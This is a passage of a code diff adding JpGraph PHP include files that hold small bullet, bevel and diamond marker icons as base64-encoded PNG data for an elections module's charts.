+	$this->imgdata_xsmall[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAABSl'.
+	    'BMVEX////////11P/MqdvKrNfAwMC+u7+9u7+4rr24lsi3rby3'.
+	    'lMe1rLq1o720q7i0oL20ksSzoryyqbaykMGxlb2wkL+vnbiujb'.
+	    '2sjLuri7qpl7GoirWoibenmK2mla6mjLKmhrSllauki7CjhrCj'.
+	    'hLGihLChg6+ggq2fkqadkKOcfqqai6Gag6WYe6WXeqSWeaOTd6'.
+	    'CTd5+Rdp6RdZ6RdZ2Qg5eOc5qMcpiLcZeJb5WIbpOHbZKGbJGE'.
+	    'a4+CaY2AZ4t/Z4p/Zop/Zol+Zol7ZIZ6Y4V5YoR1ZH11X391Xn'.
+	    '9zXX1yXXtxXHtvWnluWXhsV3VqVnNpVXJoVHFnU3BmUm9jUGth'.
+	    'VGdgTmheTGZcS2RcSmRaSWJYR19XRl5SQllRQlhQQVdPQFZOP1'.
+	    'VLPlFJO09IPE5IOk5FOEtEN0lDOEpDOElDNklCNkc/M0XhbrfD'.
+	    'AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACx'.
+	    'EAAAsRAX9kX5EAAAAHdElNRQfTAwkUKCgREfyHAAAATUlEQVR4'.
+	    'nGNgQAEcIko8EBY3M5Ougy+IxSXMwmTsFsAHZMqrSRvZB0W7A5'.
+	    'k6FlYugXEZICaPr394Um4uSAFDRFRCbm4uxAihsDAhVOMBHT0L'.
+	    'hkeRpo8AAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bxs_red.png
+//==========================================================
+	$this->imgdata_xsmall[5][0]= 357 ;
+	$this->imgdata_xsmall[5][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAk1'.
+	    'BMVEX////////GxsbGra3/xsbOhITWhIT/hIT/e3v/c3P/a2vG'.
+	    'UlK1SkrOUlL/Y2PWUlLGSkrnUlLeSkrnSkr/SkqEGBj/KSmlGB'.
+	    'jeGBjvGBj3GBj/EBD/CAj/AAD3AADvAADnAADeAADWAADOAADG'.
+	    'AAC9AAC1AACtAAClAACcAACUAACMAACEAAB7AABzAABrAABjAA'.
+	    'BuukXBAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZ'.
+	    'cwAACxEAAAsRAX9kX5EAAAAHdElNRQfTAwkUIyjy5SVMAAAAS0'.
+	    'lEQVR4nGNgQAFsUpJsEJastIi8ijpYTJaDU0FVgxXIlJKVUVDR'.
+	    '0BYHMiUUlVQ1dPVBTDZ1dS1dAwOQAgYtbSDLAGIEq6goK6rxAD'.
+	    'yXBg73lwGUAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bxs_yellow.png
+//==========================================================
+	$this->imgdata_xsmall[6][0]= 414 ;
+	$this->imgdata_xsmall[6][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAzF'.
+	    'BMVEX///////+/v79zYwCMewDOxoTWzoTezkr/5wj/5wDnzgDe'.
+	    'xgC1pQCtnACllACcjACUhABjWgDGvVK1rUrOxlLGvUqEexilnB'.
+	    'jv3hj35xj/7wj/7wD35wDv3gDn1gDezgDWxgDOvQDGtQC9rQCE'.
+	    'ewB7cwBzawBrYwDWzlLn3lLe1krn3kre1hi9tQC1rQCtpQClnA'.
+	    'CclACUjACMhAD/9wC/v7///8bOzoT//4T//3v//3P//2v//2Pn'.
+	    '50r//0r//yn39xj//xD//wBjYwDO8noaAAAAAXRSTlMAQObYZg'.
+	    'AAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxEAAAsRAX9kX5EAAAAH'.
+	    'dElNRQfTAwkUIzoBXFQEAAAAS0lEQVR4nGNgQAFsDhJsEJaTo5'.
+	    '2skj5YzMnSSk7ZwBzIlOSUklPiMxYHMnW4FXT5VNVBTDZeXiNV'.
+	    'QUGQAgYBYyBLEGIEq5gYK6rxAH4kBmHBaMQQAAAAAElFTkSuQm'.
+	    'CC' ; 
+
+//==========================================================
+// File: bxs_greenblue.png
+//==========================================================
+	$this->imgdata_xsmall[7][0]= 410 ;
+	$this->imgdata_xsmall[7][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAxl'.
+	    'BMVEX///////+/v79znJQhSkJ7raU5hHtjraVKnJRCjIRClIyU'.
+	    '9++E595avbVaxr2/v7+ctbWcvb17nJxrjIx7paUxQkK9//+Mvb'.
+	    '17ra2Evb17tbVCY2MQGBiU5+ec9/eM5+d71tZanJxjra1rvb1j'.
+	    'tbVSnJxara1rzs5jxsZKlJRChIQpUlIhQkJatbVSpaU5c3MxY2'.
+	    'MYMTEQISFavb1Sra1KnJxCjIw5e3sxa2spWlpClJQhSkoYOTkp'.
+	    'Y2MhUlIQKSkIGBgQMTH+e30mAAAAAXRSTlMAQObYZgAAAAFiS0'.
+	    'dEAIgFHUgAAAAJcEhZcwAACxEAAAsRAX9kX5EAAAAHdElNRQfT'.
+	    'AwkUJy5/6kV9AAAATUlEQVR4nGNgQAGCyuyCEJaGugKHviVYzF'.
+	    'hO3sxCWwDIVNLTM9PXtpEGMhW12Cy0DR1ATEFLSxZ7BweQAgYd'.
+	    'HUMHBweIEQKiogKoxgMAo/4H5AfSehsAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bxs_purple.png
+//==========================================================
+	$this->imgdata_xsmall[8][0]= 364 ;
+	$this->imgdata_xsmall[8][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAnF'.
+	    'BMVEX///////+/v7/Gvca9rb3Grcb/xv+1hLWte629hL21e7XG'.
+	    'hMbWhNbOe87We9b/hP//e/97OXv/c///a///Y/+cOZz/Sv/WOd'.
+	    'bnOefvOe//Kf9jCGNrCGv/EP//CP/nCOf/AP/3APfvAO/nAOfe'.
+	    'AN7WANbOAM7GAMa9AL21ALWtAK2lAKWcAJyUAJSMAIyEAIR7AH'.
+	    'tzAHNrAGtjAGPP1sZnAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgF'.
+	    'HUgAAAAJcEhZcwAACxEAAAsRAX9kX5EAAAAHdElNRQfTAwkUIj'.
+	    'mBTjT/AAAASUlEQVR4nGNgQAGskhKsEJaCrJiSuhZYTEFASFlD'.
+	    'GyQuqSCnrK6tJwpkiquoamgbGIGYrFpaugbGxmCNunpAljHECB'.
+	    'ZBQRZU4wFSMAZsXeM71AAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bxs_green.png
+//==========================================================
+	$this->imgdata_xsmall[9][0]= 370 ;
+	$this->imgdata_xsmall[9][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAn1'.
+	    'BMVEX///////+/v7+/v7/G/8aUxpSMvYyUzpSMzoyM1oxarVqE'.
+	    '/4R7/3tavVpKnEpaxlpz/3Nr/2tKtUpj/2Na51pKzkpK1kpK50'.
+	    'pK/0oYcxgp/ykYlBgY3hgY7xgY9xgQ/xAI/wgA/wAA9wAA7wAA'.
+	    '5wAA3gAA1gAAzgAAxgAAvQAAtQAArQAApQAAnAAAlAAAjAAAhA'.
+	    'AAewAAcwAAawAAYwA0tyxUAAAAAXRSTlMAQObYZgAAAAFiS0dE'.
+	    'AIgFHUgAAAAJcEhZcwAACxEAAAsRAX9kX5EAAAAHdElNRQfTAw'.
+	    'kUKBrZxq0HAAAATElEQVR4nGNgQAGccrIcEJaivISyhjaIxa7I'.
+	    'I6CiqcMKZMopKqho6OhLA5kyqmqaOobGICartraeoYkJSAGDnj'.
+	    '6QZQIxgk1Skg3VeABlVgbItqEBUwAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bxs_darkgreen.png
+//==========================================================
+	$this->imgdata_xsmall[10][0]= 563 ;
+	$this->imgdata_xsmall[10][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAABX1'.
+	    'BMVEX////////l/+nAwMC86r+8wb28wby8wLy78sCzw7SywrSx'.
+	    'wLKwvrGuvK+syK+ryq2rx62n36ym3aumxKmk2qij0Keh16ahva'.
+	    'Og1aSguKKe06KeuaCetZ+d0KGdtZ+bz6Cay56ZyZ2Zwp2Zr5qZ'.
+	    'rpqYwJuXyZuXrJmVw5mUxZiTxJeTw5eTq5WRwJWPtJKOvZKKuI'.
+	    '6Kt42Kn4yJt42ItIuGsomFsYmEsIiEr4eDr4eBrIR/qoN+qIJ8'.
+	    'poB7pH56o356on14nnt2nXl0mndzmnZzmXZymHVwlXNvlHJukn'.
+	    'FtiHBqjm1qjW1oi2toiWpniWplh2hlhmdkhWdig2VggGNgf2Je'.
+	    'fmFdfGBde19bbl1aeFxXdFpWclhVclhVcVdUcFZTb1VSbVRQal'.
+	    'JPaVFKY0xKYkxJYUtIYEpHX0lEWkZCWERCV0NCVkM/U0A+U0A+'.
+	    'UUA+UEA9Uj89UT48Tj45TDvewfrHAAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxEAAAsRAX9kX5EAAAAHdElN'.
+	    'RQfTAwkUKCFozUQjAAAATUlEQVR4nGNgQAGcoqrcEJYQB5OhSw'.
+	    'CIxSXGwWThGcIDZCppK5o7hyV6AZl6NnbuoSmFICZ3YHB0RkkJ'.
+	    'SAFDbEJaSUkJxAjeyEheVOMBQj4MOEkWew4AAAAASUVORK5CYI'.
+	    'I=' ; 
+
+//==========================================================
+// File: bxs_cyan.png
+//==========================================================
+	$this->imgdata_xsmall[11][0]= 530 ;
+	$this->imgdata_xsmall[11][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAABPl'.
+	    'BMVEX////////F///AwMCvxsaC1NSC0dGCz8+CzMyA//94//91'.
+	    '//9q//9j//9X4uJX09NXz89Xx8dXxMRL//9L5uZL3d1L2NhLxs'.
+	    'ZLt7cv//8e9fUe8fEe7u4e398epqYehoYX//8L+PgK//8F9fUE'.
+	    '/v4E5+cEb28EZ2cC//8C/v4C/f0CzMwCrq4Cjo4CdXUCaWkCZW'.
+	    'UB/PwA//8A/f0A+/sA8/MA7e0A7OwA6+sA5eUA5OQA4uIA4eEA'.
+	    '3NwA2toA2NgA1dUA09MA0tIA0NAAysoAxsYAxcUAxMQAv78Avr'.
+	    '4AvLwAtrYAtbUAs7MAsLAAra0Aq6sAqKgApaUApKQAoqIAoKAA'.
+	    'n58AmpoAlZUAk5MAkpIAkJAAj48AjIwAiYkAh4cAf38AfX0Ae3'.
+	    'sAenoAcnIAcHAAa2sAaWkAaGgAYmIUPEuTAAAAAXRSTlMAQObY'.
+	    'ZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxEAAAsRAX9kX5EAAA'.
+	    'AHdElNRQfTAwkUKQFKuFWqAAAATUlEQVR4nGNgQAGsUjJsEJaR'.
+	    'grC5qz9YzIiL28YriB3IlDZRsnYNiZUDMmXtHT2CE9JBTDb/wI'.
+	    'jkzEyQAoaomMTMzEyIERzy8hyoxgMAN2MLVPW0f4gAAAAASUVO'.
+	    'RK5CYII=' ; 
+
+//==========================================================
+// File: bxs_orange.png
+//==========================================================
+	$this->imgdata_xsmall[12][0]= 572 ;
+	$this->imgdata_xsmall[12][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAABaF'.
+	    'BMVEX//////////8X/3oD/3nj/1HX/0Gr/xGP/rkv/gBf+iS/2'.
+	    'bAL1agDxaQDuZwDrZwLpZQDmZQLlZADjcx7gZATeYQDdZgraXw'.
+	    'DZXwHYXgDXiEvXZAvUjlfUXwXTjVfTbR7ShUvRbR7RWwDMWQDL'.
+	    'WADKooLKWADJoYLJgkvHWATGoILFn4LFgEvFVgDEZx7EVQDDt6'.
+	    '/DVQDCt6/CnoLChlfCVADAwMC+hFe+UgC8UgC6UQC4gVe4UAC3'.
+	    'gVe3UAC1gFe1eUu1TwC1TgCzTgCwTQKuTACrSgCqSgCpSgCpSQ'.
+	    'CodEulSACkRwCiRgCdRACcRACaQwCYQgCWQgKVQQCVQACUQACS'.
+	    'UR6RPwCOPgCNPQCLPACKPACJOwCEOQCBOAB+NwB9NgB8NgB7NQ'.
+	    'B6NwJ4NAB3RR52MwB0MgBuLwBtLwBsLwBqLgBpLQBkLQJiKgBh'.
+	    'KgBgKwRcKABbKQJbJwBaKQRaJwBYKAJVJQDZvdIYAAAAAXRSTl'.
+	    'MAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxEAAAsRAX9k'.
+	    'X5EAAAAHdElNRQfTAwkUJBSSy88MAAAATUlEQVR4nGNgQAGqwo'.
+	    'paEBYPJ4eKezCIpc7HwmrqG6ENZMpLihm6RaWEAZl6Vo7ekRnF'.
+	    'IKZWSHhcTnk5SAFDfFJWeXk5xAjj1FRjVOMBeFwNcWYSLjsAAA'.
+	    'AASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bxs_lightblue.png
+//==========================================================
+	$this->imgdata_xsmall[13][0]= 554 ;
+	$this->imgdata_xsmall[13][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAABVl'.
+	    'BMVEX////////d///AwMC7wcS08P+y+P+xxdCwxM+uws2twMur'.
+	    'vsinzNynytylzuKhyN6e5v6d5P+d1fOcwNWcu8ub4f+at8iZ3v'.
+	    '+ZvdGY2/yW2f+VscGU1vuT1fqTr72Sx+SSxeKR0fWRz/GPz/OP'.
+	    'rr+OyeqMy+6Myu2LyeyKxueJudSGw+SGorGDvt+Cvd6CvN2Aud'.
+	    'p+uNd+t9Z9tdV8tdR8tNN6sc94r813rct2q8h0qcZ0qMVzp8Rx'.
+	    'o8Bwor5tn7ptnrptnrlsnbhqmbRpmbNpi51ol7Flkqtkkqtkka'.
+	    'pjj6hijaRhjaZgi6NfiqJfiaFdh55bhJtag5pZgphYgJZYf5VX'.
+	    'cn9Ve5FSeI1RdopRdYlQdYlPc4dPcoZPcoVNcINLboBLbH9GZn'.
+	    'hGZXdFZHZEY3RDYnJCXW4/W2s/WWg+Wmo7VmU7VGM7U2E6VGM6'.
+	    'VGI5UV82T1wGxheQAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHU'.
+	    'gAAAAJcEhZcwAACxEAAAsRAX9kX5EAAAAHdElNRQfTAwkUJziL'.
+	    'PvAsAAAATUlEQVR4nGNgQAHsQgqcEJYgG5Oegy+IxSHOxmTiFs'.
+	    'gFZMprKBnbB8e7AplaFlbOQUl5ICanX0BEWmEhSAFDVGxKYWEh'.
+	    'xAjusDBuVOMBJO8LrFHRAykAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bxs_darkgray.png
+//==========================================================
+	$this->imgdata_xsmall[14][0]= 574 ;
+	$this->imgdata_xsmall[14][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAABm'.
+	    'JLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAAsRAAALEQF/ZF+RAAAB'.
+	    'iElEQVR42k3QPU8TYRwA8P//ebkXrgdIColXRAOEkJqbaExMut'.
+	    'DBhE1GNjYHPg+DG6ODiU6QOLjVxITBcFKBYCstlAC2Bz17fe76'.
+	    'vLD6+wg/1FpTRFR5lpaub/u1eGBGaAT4HneD4OlXx7avtDYUjT'.
+	    'HQabd2Ti8e3vVSKzxrtHS32wIpFVldno22Nqvvg2Bhl0gp/aNm'.
+	    'vJ3qqXAtLIva+ks1H0wqlSXi4+d6+OFTfRsAfHJx2d1od24rZP'.
+	    'xP2HzopINr1mkesX7ccojqif0v9crxWXODZTno3+dNGA7uWLsd'.
+	    'mUYU4fHJCViMG9umLBmM4L6fagZGg9QKfjZ+Qfy3C3G/B3mugF'.
+	    'IHHNcDf64E3KJALApk2p8CSolUUqLjFkyxOGMsTtFyJ+Wz57NQ'.
+	    '8DghS4sLB0svioeZZo7nPhFoUKZDIVFbglkTTnl5/rC8snjAkJ'.
+	    'Bk/XV5LxHC/v7tR8jzTFPbg8LENK9WX0Vv31T2AEmCSmlKCCoh'.
+	    'ROnP1U1tPFYjJBRcbtzSf+GPsFTAQBq1n4AAAABKdEVYdHNpZ2'.
+	    '5hdHVyZQBiYzYyMDIyNjgwYThjODMyMmUxNjk0NWUzZjljOGFh'.
+	    'N2VmZWFhMjA4OTE2ZjkwOTdhZWE1MzYyMjk0MWRkM2I5EqaPDA'.
+	    'AAAABJRU5ErkJggg==' ; 
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_bevels.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_bevels.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_bevels.inc.php	(revision 44)
@@ -0,0 +1,104 @@
+<?php
+//=======================================================================
+// File:	IMGDATA_BEVELS.INC
+// Description:	Base64 encoded images for round bevels
+// Created: 	2003-03-20
+// Ver:		$Id: imgdata_bevels.inc.php 860 2007-03-23 19:16:19Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+class ImgData_Bevels extends ImgData {
+    protected $name = 'Round Bevels';
+    protected $an = array(MARK_IMG_BEVEL => 'imgdata');
+    
+    protected $colors = array('green','purple','orange','red','yellow');
+    protected $index  = array('green'=>1,'purple'=>4,'orange'=>2,'red'=>0,'yellow'=>3);
+    protected $maxidx = 4 ;
+
+    protected $imgdata ;
+
+    function ImgData_Bevels() {
+//==========================================================
+// File: bullets_balls_red_013.png
+//==========================================================
+	$this->imgdata[0][0]= 337 ;
+	$this->imgdata[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAM1'.
+	    'BMVEX////////27t/f3+LFwcmNxMuxm62DmqKth1VpZmIWg6fv'.
+	    'HCa7K0BwMEytCjFnIyUlEBg9vhQvAAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElN'.
+	    'RQfTAxcBNhk+pYJVAAAAl0lEQVR4nE2Q2xLDIAgFHUWBKJf//9'.
+	    'oekmbafVDZARRbK/pYTKP9WNcNv64zzUdd9BjmrgnsVXRNSzO3'.
+	    'CJ5ahdhy0XKQkxld1kxb45j7dp0x2lBNOyVgQpMaoadX7Hs7zr'.
+	    'P1yKj47DKBnKaBKiSAkNss7O6PkMx6kIgYXISQJpcZCqdY6KR+'.
+	    'J1PkS5Xob/h7MNz8x6D3fz5DKQjpkZOBYAAAAABJRU5ErkJggg'.
+	    '==' ; 
+
+//==========================================================
+// File: bullets_balls_green_013.png
+//==========================================================
+	$this->imgdata[1][0]= 344 ;
+	$this->imgdata[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAM1'.
+	    'BMVEX////////27t/e3+K3vriUub/Dm18j4xc3ob10k0ItqQlU'.
+	    'e5JBmwpxY1ENaKBgUh0iHgwsSre9AAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElN'.
+	    'RQfTAxcBNTfJXtxZAAAAnklEQVR4nE2QWY4EMQhDUVhSIRC4/2'.
+	    'kbaqLp9p+f2AxAayAzDfiK9znPORuvH0x8Ss9z6I9sHp6tcxE9'.
+	    'nLmWmebmt5F5p2AR0+C9AWpLBjXRaZsCAT3SqklVp0YkAWaGtd'.
+	    'c5Z41/STYpPzW7BjyiRrwkVmQto/Cw9tNEMvsgcekyCyFPboIu'.
+	    'IsuXiKffYB4NK4r/h6d4g9HPPwCR7i8+GscIiiaonUAAAAAASU'.
+	    'VORK5CYII=' ; 
+
+//==========================================================
+// File: bullets_balls_oy_035.png
+//==========================================================
+	$this->imgdata[2][0]= 341 ;
+	$this->imgdata[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAM1'.
+	    'BMVEX////////27t/f3+K5tbqNwcjnkjXjbxR2i5anfEoNkbis'.
+	    'PBxpU0sZbZejKgdqIRIlERIwYtkYAAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElN'.
+	    'RQfTAxcBNgK0wEu5AAAAm0lEQVR4nE3QVxIEIQgEUErAgTHA/U'.
+	    '+7zbipf9RXgoGo0liMmX6RdSPLPtZM9F4LuuSIaZtZWffiU6Iz'.
+	    'Y8SOMF0NogBj30ioGRGLZgiPvce1TbIRz6oBQEbOFGK0rIoxrn'.
+	    '5hDomMA1cfGRCaRVhjS3gkzheM+4HtnlkXcvdZhWG4qZawewe6'.
+	    '9Jnz/TKLB/ML6HUepn//QczazuwFO/0Ivpolhi4AAAAASUVORK'.
+	    '5CYII=' ; 
+
+//==========================================================
+// File: bullets_balls_oy_036.png
+//==========================================================
+	$this->imgdata[3][0]= 340 ;
+	$this->imgdata[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAM1'.
+	    'BMVEX////////27t/e3+LO3hfYzz65ubiNwci6uQ12ipadgVGa'.
+	    'fwsNkbhnVkcaZ5dwSA8lFg7CEepmAAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxEAAAsRAX9kX5EAAAAHdElN'.
+	    'RQfTAxcCBySi1nevAAAAjElEQVR4nFXPWw7EIAgFUNMoCMhj/6'.
+	    'staKczc/2RkwjS2glQ+w3YytgXCXCZpRo8gJdGxZadJws13CUP'.
+	    '4SZI4MYiUxypeiGGw1XShVBTNN9kLXP2GRrZPFvKgd7z/sqGGV'.
+	    '7C7r7r3l09alYN3iA8Yn+ImdVrNoEeSRqJPAaHfhZzLYwXstdZ'.
+	    'rP3n2bvdAI4INwtihiwAAAAASUVORK5CYII=' ;
+
+//==========================================================
+// File: bullets_balls_pp_019.png
+//==========================================================
+	$this->imgdata[4][0]= 334 ;
+	$this->imgdata[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAM1'.
+	    'BMVEX////+/v7i4eO/w8eHxcvKroNVormtfkjrMN2BeXQrepPc'.
+	    'Esy4IL+OFaR7F25LHF8mFRh5XXtUAAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElN'.
+	    'RQfTAxcBNgkjEpIxAAAAlElEQVR4nE2QAQ7FIAhDDTAVndL7n3'.
+	    'ZV/7JfEwMvFIWUlkTMVNInbVv5ZeJqG7Smh2QTBwJBpsdizAZP'.
+	    '5NyW0awhK8kYodnZxS6ECvPRp2sI+y7PBv1mN02KH7h77QCJ8D'.
+	    '4VvY5NUgEmCwj6ZMzHtJRgRSXwC1gfcqJJH0GBnSnK1kUQ72DY'.
+	    'CPBv+MCS/e0jib77eQAJxwiEWm7hFwAAAABJRU5ErkJggg==' ; 
+
+    }
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_diamonds.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_diamonds.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_diamonds.inc.php	(revision 44)
@@ -0,0 +1,177 @@
+<?php
+//=======================================================================
+// File:	IMGDATA_DIAMONDS.INC
+// Description:	Base64 encoded images for diamonds
+// Created: 	2003-03-20
+// Ver:		$Id: imgdata_diamonds.inc.php 860 2007-03-23 19:16:19Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+class ImgData_Diamonds extends ImgData {
+    protected $name = 'Diamonds';
+    protected $an = array(MARK_IMG_DIAMOND =>'imgdata');
+    protected $colors = array('lightblue','darkblue','gray', 
+			'blue','pink','purple','red','yellow');
+    protected $index  = array('lightblue' =>7,'darkblue'=>2,'gray'=>6, 
+			'blue'=>4,'pink'=>1,'purple'=>5,'red'=>0,'yellow'=>3);
+
+    protected $maxidx = 7 ;
+    protected $imgdata ;
+
+    function ImgData_Diamonds() {
+//==========================================================
+// File: diam_red.png
+//==========================================================
+	$this->imgdata[0][0]= 668 ;
+	$this->imgdata[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbCAMAAAC6CgRnAAAA/F'.
+	    'BMVEX///////+cAAD/AADOAABjAABrAADWGBjOCAj/CAj/GBj/'.
+	    'EBCcCAiMOTl7KSl7ISFzGBilGBjOEBBrCAjv5+eMQkK1QkKtMT'.
+	    'GtKSnWKSn/KSlzEBCcEBDexsb/tbXOe3ucWlqcUlKUSkr/e3vn'.
+	    'a2u9UlL/a2uEMTHeUlLeSkqtOTn/UlL/SkrWOTn/QkL/OTmlIS'.
+	    'H/MTH/ISH39/f/9/f35+fezs7/5+fvzs7WtbXOra3nvb3/zs7G'.
+	    'nJzvtbXGlJTepaW9jIy1hITWlJS1e3uta2ulY2P/lJTnhITne3'.
+	    'vGY2O9Wlr/c3PeY2O1Skr/Y2P/WlreQkLWISGlEBCglEUaAAAA'.
+	    'AXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAA'.
+	    'sSAdLdfvwAAAAHdElNRQfTAwsWEw5WI4qnAAABGUlEQVR4nHXQ'.
+	    '1XLDMBAFUKUCM1NiO8zcpIxpp8z0//9SWY7b2LHv6EU6s1qtAN'.
+	    'iMBAojLPkigpJvogKC4pxDuQipjanlICXof1RQDkYEF21mKIfg'.
+	    '/GGKtjAmOKt9oSyuCU7OhyiDCQnjowGfRnooCJIkiWJvv8NxnG'.
+	    'nyNAwFcekvZpPP3mu7Vrp8fOq8DYbTyjdnAvBj7Jbd7nP95urs'.
+	    '+MC2D6unF+Cu0VJULQBAlsOQuueN3Hrp2nGUvqppemBZ0aU7Se'.
+	    'SXvYZFMKaLJn7MH3btJmZEMEmGSOreqy0SI/4ffo3uiUOYEACy'.
+	    'OFopmNWlP5uZd9uPWmUoxvK9ilO9NtBo6mS7KkZD0fOJYqgGBU'.
+	    'S/T7OKCAA9tfsFOicXcbxt29cAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: diam_pink.png
+//==========================================================
+	$this->imgdata[1][0]= 262 ;
+	$this->imgdata[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbBAMAAAB/+ulmAAAAEl'.
+	    'BMVEX///+AgID/M5n/Zpn/zMz/mZn1xELhAAAAAXRSTlMAQObY'.
+	    'ZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAA'.
+	    'AHdElNRQfTAwsWEi3tX8qUAAAAbUlEQVR4nFXJwQ3AMAhDUdRm'.
+	    'kKojuCswABf2X6UEEiC+WF+PyDfoGEuvwXogq3Rk1Y6W0tBSG8'.
+	    '6Uwpla6CmJnpoYKRsjjb/Y63vo9kIkLcZCCsbGYGwMRqIzEp1R'.
+	    'OBmFk9HQGA2N0ZEIz5HX+h/jailYpfz4dAAAAABJRU5ErkJggg'.
+	    '==' ; 
+
+//==========================================================
+// File: diam_blue.png
+//==========================================================
+	$this->imgdata[2][0]= 662 ;
+	$this->imgdata[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbCAMAAAC6CgRnAAAA+V'.
+	    'BMVEX///+AgIAAAJwAAP8AAM4AAGMAAGsQEP8YGHMQEHMYGP8Q'.
+	    'EKUICJwICM5KSpQxMYQpKXsYGNYQEM4ICGsICP97e85aWpw5OY'.
+	    'xSUv85ObVCQt4xMa0pKa0hIaUpKf+9vd6EhLVra+dzc/9SUr1r'.
+	    'a/9aWt5SUt5CQrVaWv9KSv8hIXs5Of8xMf8pKdYhIdYYGKUhIf'.
+	    '/Ozs739//v7/fn5+/v7//n5/fW1ufOzufOzu/W1v+trc69veel'.
+	    'pc6trd6UlMa9vf+MjL21tfe1tf+UlNZzc61ra6Wlpf+EhOeMjP'.
+	    '9ra8ZSUpyEhP9CQoxKSrVCQv85Od4xMdYQENZnJhlWAAAAAXRS'.
+	    'TlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAd'.
+	    'LdfvwAAAAHdElNRQfTAwsWEx3Snct5AAABFklEQVR4nHXR5XbD'.
+	    'IBgGYM6AuHsaqbvOfeuknev9X8xISbplSd5/8JyXwwcA/I0AKm'.
+	    'PFchVBdvKNKggKQx2VIoRwMZihMiQE49YUlWBCcPL0hYq4ITh+'.
+	    'qKECUoLDZWqoQNA766F/mJHlHXblPJJNiyURhM5eU9cNw5BlmS'.
+	    'IrLOLxhzfotF7vwO2j3ez2ap/TmW4AIM7DoN9+tu+vLk6Pdg9O'.
+	    '6ufXjfXLm6pxPACSJIpRFAa+/26DhuK6qjbiON40k0N3skjOvm'.
+	    'NijBmchF5mi+1jhQqDmWyIzPp1hUlrv8On5l+6mMm1tigFNyrt'.
+	    '5R97g+FKKyGKkTNKesXPJTZXOFIrUoKiypcTQVHjK4g8H2dWEQ'.
+	    'B8bvUDLSQXSr41rmEAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: diam_yellow.png
+//==========================================================
+	$this->imgdata[3][0]= 262 ;
+	$this->imgdata[3][1]= 
